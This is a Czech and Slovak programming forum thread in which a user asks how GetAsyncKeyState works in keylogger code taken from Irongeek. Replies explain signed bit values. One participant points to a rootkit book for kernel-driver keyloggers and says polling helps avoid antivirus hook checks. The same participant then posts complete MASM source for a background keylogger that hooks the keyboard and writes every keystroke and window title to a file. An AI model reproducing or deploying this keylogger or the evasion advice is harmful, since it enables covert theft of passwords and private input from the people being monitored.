| Dobry den, projizdel jsem si jeden zdrojovy kod a nepochopil jsem par radku, za vasi pomoc budu velice vdecny - takze tu je ta cast :
short character;
while(1)
{
sleep(10);
for(character=8;character<=222;character ++)
{
if(GetAsyncKeyState(character)==-32767)
{
podminka while(1) ? to je podminka, ktera se provede vzdy? Ale to by nebylo az tak dulezite, spise me zajima cast s funkci GetAsyncKeyState - kdyz jsem ji zkusil zvlast a s ciselnou hodnotou 8-22 vzdy vratila 0 , asi proto , ze jsem nic nepsal nebo nevim.Znak mensi nez 8 je znak pro mys, ten nas nezajima,proto od 8 , to bych vse jeste chapal , ale proste nepochopim, kdy se bude ta podminka rovnat tomuhle cislu.Jedine,co me napada, je ze by se to do short neveslo , tak by to slo od minusu , ale my pracujeme s hodne nizkym cislem na to,aby to preteklo...Ma nekdo nejaky napad?
----------
Niemand ist so gut,wie er denkt ;) (odpovědět) | |
|
|
| Pokud by platila tato veta : if the least significant bit is set, the key was pressed after the previous call to GetAsyncKeyState - a the least significant by neznamenalo nejmene vyznamny , jelikoz to si netroufnu rict , ktery bit je jak vyznamny , ale nejmensi , tak dle meho nazoru je nejnizsi bit -32768 , kdyztak me opravte...
----------
Niemand ist so gut,wie er denkt ;) (odpovědět) | |
|
|
| tak pri nastaveni bitu -32767 to jde normalne... a pri pouziti bitu -32768 se kazde zmackle pismenko zobrazi vickrat... vi nekdo proc pls?
----------
Niemand ist so gut,wie er denkt ;) (odpovědět) | |
|
|
| nevím, co ta funkce dělá, ale musím tě opravit.
-32767 není bit, ale dva bajty (signed short int)
-32767 není nejnižší číslo v té proměnné, ale nejvyžší! (má všechny bity na jedničce)
první, nejvyšší bit (podle mě je to ten least significant bit ), určuje +/- toho čísla (když je na jedničce, je číslo záporné - záporná číslo jsou "nad" kladnýma, proto je -32767 nejvyšší né nejnižší)
k té funkci ti snad poradí někdo jiný, bohužel, já vím jen toto. (doufám, že to mám aspoň správně :-))
----------
Get enlightened! (odpovědět) | |
|
|
| Mi to přijde jako čekání na klávesu. (odpovědět) | gugumaa | 195.113.79.10/10.0.10.* | 13.11.2007 10:08 |
|
|
|
| Ja vim,co to je za funkci - vraci jestli je klavesa prave zmacknuta a ktera to je ...
me zajimaji akorat ty bity...
Tak jsem tak trochu cetl a rekl bych, ze uz jsem na to prisel.Dik za nakopnuti mr.Crow.
Takze asi takhle , aby z toho meli neco pripadne i ostatni.Prevod zaporneho cisla do binarni soustavy se provadi tak,ze se od zaporneho cisla treba -32768 odecte 1 (vlastne pricte jelikoz je zaporne:) ) a z cisla -32767 se vezme kladne cislo 32767 to se prevede do binarni soustavy. vyjde 15 bitovych 1 . My si z toho udelame 16 bitove cislo.Pridanim 0 pred retezec. takhle: 0111111111111111 a znegujeme to 1000000000000000 toto je cislo -32768 . Z toho plyne, jak mr.Crow rekl ze nejvyssi bit nastaveny na 1 je zaporne cislo.A v mem pripade se cislo vracelo vicekrat, jelikoz se netestovalo , jestli klavesa je stale stiskla.Takze se to nejspis mirne zacyklilo.
Reseni cislem -32767 je proto , ze ma nastaven i posledni bit ,takto: 1000000000000001 , takze se testuje v teto funkci i jestli je tlacitko prave stisknuto.
Konec badani panove , problem vyresen :)
----------
Niemand ist so gut,wie er denkt ;) (odpovědět) | |
|
|
| mr.Crow: nevím, co píšeš, ale musím tě opravit, máš tam "nejvyžší".
----------
Eat me! (odpovědět) | w. | 88.102.124.* | 13.11.2007 16:51 |
|
|
|
| všiml jsem si toho, bohužel, editovat příspěvek nelze. Další výskyt tohoto slova už je správně napsaný. Se omlouvám, nějak jsem se spletl.
Darth: není zač, jsem rád, že i toto pomohlo :-)
----------
Get enlightened! (odpovědět) | |
|
|
| jenda sa o drevorubacsky sposob ako sledovat klavesy.
takze
while (true)
pre kazdu hodnotu character od 8 az po 222
to zavola funkciu GetAsyncKeyState
a ta vrati hodnotu :
If the most significant bit is set, the key is down, and if the least significant bit is set, the key was pressed after the previous call to GetAsyncKeyState
ak ani jedno tak k stlaceniu nedoslo.
pouzivame little endian takze prvy bit je least significant. (odpovědět) | alf0nz | 91.127.90.* | 13.11.2007 18:55 |
|
|
|
| za předpokladu, že pracujeme na procesoru, kde se malý indián vyskytuje :-) (i když asi windows na procesoru big endian nepoběží, že...) každopádně na velikosti indiánů v tomto případě nezáleží.
----------
Get enlightened! (odpovědět) | |
|
|
| alf0nz : jestli je drevorubacsky to bych polemizoval, pac je to zdrojak z Irongeek , ale jestli mas lepsi ,postni ho sem , rad se priucim...;)
----------
Niemand ist so gut,wie er denkt ;) (odpovědět) | |
|
|
| no momentalne zrovna zdrojak nemam a google ti urcite par zdrojakov ukaze.
obecne ak sa chces naucit advanced techniky vo win tak knizka Addison.Wesley.Professional.Rootkits.Subver ting.the.Windows.Kernel
je ta spravna volba,a v nej je takisto
uvedeny aj popis ako napisat keylogger pomocou tzv. layered drivers.Takisto hook na keyboard je imho lepsia volba.
ono tento GetAsyncKeyState postup pre keylog sa nam moze hodit napr. ked nejaky "zly" av kontroluje hooky. (odpovědět) | alf0nz | 91.127.90.* | 13.11.2007 22:07 |
|
|
|
|
| alf0nz: dikes moc :) dej mi mesic a prelouskam tu anglictinu :D a dalsi mesic a mozna to pochopim :D ale je zajimavej napad zacit logovat primo u radice klavesnice :P
----------
Niemand ist so gut,wie er denkt ;) (odpovědět) | |
|
|
| alf0nz: Myslíš,že bys mi mohl stručně a srozumitelně vysvětlit , co je to dispatch table a IRP ? zbytek jsem tak nějak pochopil.V popisu bylo něco jako,že dispatch table je tabulka ukazatelů na metody a procedury, ale nevím , nějak jsem to nepochopil.IRP jsou nějaké zprávy , které si posílá systém s HW ?
----------
Niemand ist so gut,wie er denkt ;) (odpovědět) | |
|
|
| btw abych pravdu řekl , je to skok z neuvěřitelně lehkýho keyloggeru na Irongeek ,využívajícího sokety a jednoduchý funkce na pro mě neuvěřitelně složitej keylogger ve formě řadičů a struktur :)
----------
Niemand ist so gut,wie er denkt ;) (odpovědět) | |
|
|
|
| comment ~
This is skeleton of a very basic key logger for (ANSI keyboards) Windows NT 3.51 or greater,
including NT4/Win2k/XP & 2k3.
It will run in the background, and log all keystrokes to a file named "keylog.txt"
Shows neat way of formatting key codes.
GetKeyNameText is used rather than ascii table to format unprintable characters
such as F1/F12, ESC,CTRL..etc.
its not finished idea, would still like email/encryption engine, filter out
garbage data..maybe in future version.;;
Terminate it with a combination of CTRL + ALT + F12
Tested on Win2k only.
Win95/98/ME/MAC are not supported.
Compiles with MASM.
ml /Cp /coff /c /I C:\MASM32\INCLUDE klogski.asm
link /SUBSYSTEM:WINDOWS /LIBPATH:C:\MASM32\LIB klogski.obj
-------------------------------------[April 2004
If MSVCRT.INC is not included with MASM package..
you can define in seperate file as follows:
fopen PROTO C :DWORD, :DWORD
fprintf PROTO C :DWORD, :VARARG
fflush PROTO C :DWORD
fclose PROTO C :DWORD
Then use INC2L.EXE from MASM package to generate LIBRARY file.
BTW: The INCLUDELIB directive is written at the top of each *.INC file..
Other than that, comments are included, good luck.
~
.586
.model flat, stdcall
include <windows.inc>
include <user32.inc>
include <kernel32.inc>
include <msvcrt.inc>
pushz macro szText:VARARG
local nexti
call nexti
db szText,00h
nexti:
endm
.data
hHook dd 0
msg MSG <>
hFile dd 0
hCurrentWindow dd 0
.code
main:
xor ebx, ebx
push VK_F12 ; this will switch logger off using CTRL+ALT+F12 together
push MOD_CONTROL or MOD_ALT
push 0badfaceh ; name of register key -> "0BADFACE"
push ebx ;
call RegisterHotKey ;
pushz "ab" ; append in binary mode
pushz "keylog.txt" ; name of log file
call fopen
add esp, 2*4 ; all c lib functions need fixup..
mov [hFile], eax
push ebx
call GetModuleHandleA
push ebx
push eax
push offset KeyBoardProc
push 13 ; low level key logger
call SetWindowsHookExA
mov [hHook], eax
push ebx
push ebx
push ebx
push offset msg
call GetMessageA
push [hHook]
call UnhookWindowsHookEx
push [hFile]
call fclose
add esp, 04
push eax
call ExitProcess
;########################################## ####################
KeyBoardProc PROC nCode:DWORD, wParam:DWORD, lParam:DWORD
LOCAL lpKeyState[256] :BYTE
LOCAL lpCharBuf[32] :BYTE
;----------------------------
lea edi, [lpKeyState]
push 256/4
pop ecx
xor eax, eax
rep stosd
mov eax, wParam
cmp eax, WM_KEYUP
je next_hook
cmp eax, WM_SYSKEYUP
je next_hook
call GetForegroundWindow ; get handle for currently used window ( specific to NT )
cmp [hCurrentWindow], eax ; if its different to last one saved..
je no_window_change ;
mov [hCurrentWindow], eax ; ..save it and
push 256 ; get title text for it
lea esi, [lpKeyState]
push esi
push eax
call GetWindowText
push esi
pushz 13,10,"[CURRENT WINDOW TEXT:%s]",13,10
push [hFile]
call fprintf
add esp, 3*4
push [hFile]
call fflush ; flush data buffer to disk..
add esp, 4
no_window_change:
mov esi, [lParam] ; we don't want to print shift or capslock names.
lodsd ; it just makes the logs easier to read without them.
cmp al, VK_LSHIFT ; they are tested later when distinguishing between
je next_hook ; upper/lowercase characters.
cmp al, VK_RSHIFT
je next_hook
cmp al, VK_CAPITAL
je next_hook
cmp al, VK_ESCAPE
je get_name_of_key
cmp al, VK_BACK
je get_name_of_key
cmp al, VK_TAB ; print tab keys
je get_name_of_key
;------------------
lea edi, [lpCharBuf] ; zero initialise buffer for key text
push 32/4
pop ecx
xor eax, eax
rep stosd
;----------
lea ebx, [lpKeyState]
push ebx
call GetKeyboardState ; get current keyboard state
push VK_LSHIFT ; test if left shift key held down
call GetKeyState
xchg esi, eax ; save result in esi
push VK_RSHIFT ; test right..
call GetKeyState
or eax, esi ; al == 1 if either key is DOWN
mov byte ptr [ebx + 16], al ; toggle a shift key to on/off
push VK_CAPITAL
call GetKeyState ; returns TRUE if caps lock is on
mov byte ptr [ebx + 20], al ; toggle caps lock to on/off
mov esi, [lParam]
lea edi, [lpCharBuf]
push 00h
push edi ; buffer for ascii characters
push ebx ; keyboard state
lodsd
xchg eax, edx
lodsd
push eax ; hardware scan code
push edx ; virutal key code
call ToAscii ; convert to human readable characters
test eax, eax ; if return zero, continue
jnz test_carriage_return ; else, write to file.
get_name_of_key: ; no need for large table of pointers to get asciiz
mov esi, [lParam]
lodsd ; skip virtual key code
lodsd ; eax = scancode
shl eax, 16
xchg eax, ecx
lodsd ; extended key info
shl eax, 24
or ecx, eax
push 64
lea edi, [lpCharBuf]
push edi
push ecx
call GetKeyNameTextA
push edi
pushz "[%s]"
jmp write_to_file
test_carriage_return:
push edi
pushz "%s"
cmp byte ptr [edi], 0dh ; carriage return?
jne write_to_file
mov byte ptr [edi + 1], 0ah ; add linefeed, so logs are easier to read.
write_to_file:
push [hFile]
call fprintf
add esp, 2*4
next_hook:
push [lParam]
push [wParam]
push [nCode]
push [hHook]
call CallNextHookEx
ret
KeyBoardProc ENDP
end main (odpovědět) | alf0nz | 78.98.98.* | 18.11.2007 14:12 |
|
|
|
| ta dokumentace pomohla díkes , ale ASSEMBLER ještě neumim, takže ten zdroják moc nechápu...
----------
Niemand ist so gut,wie er denkt ;) (odpovědět) | |
|
|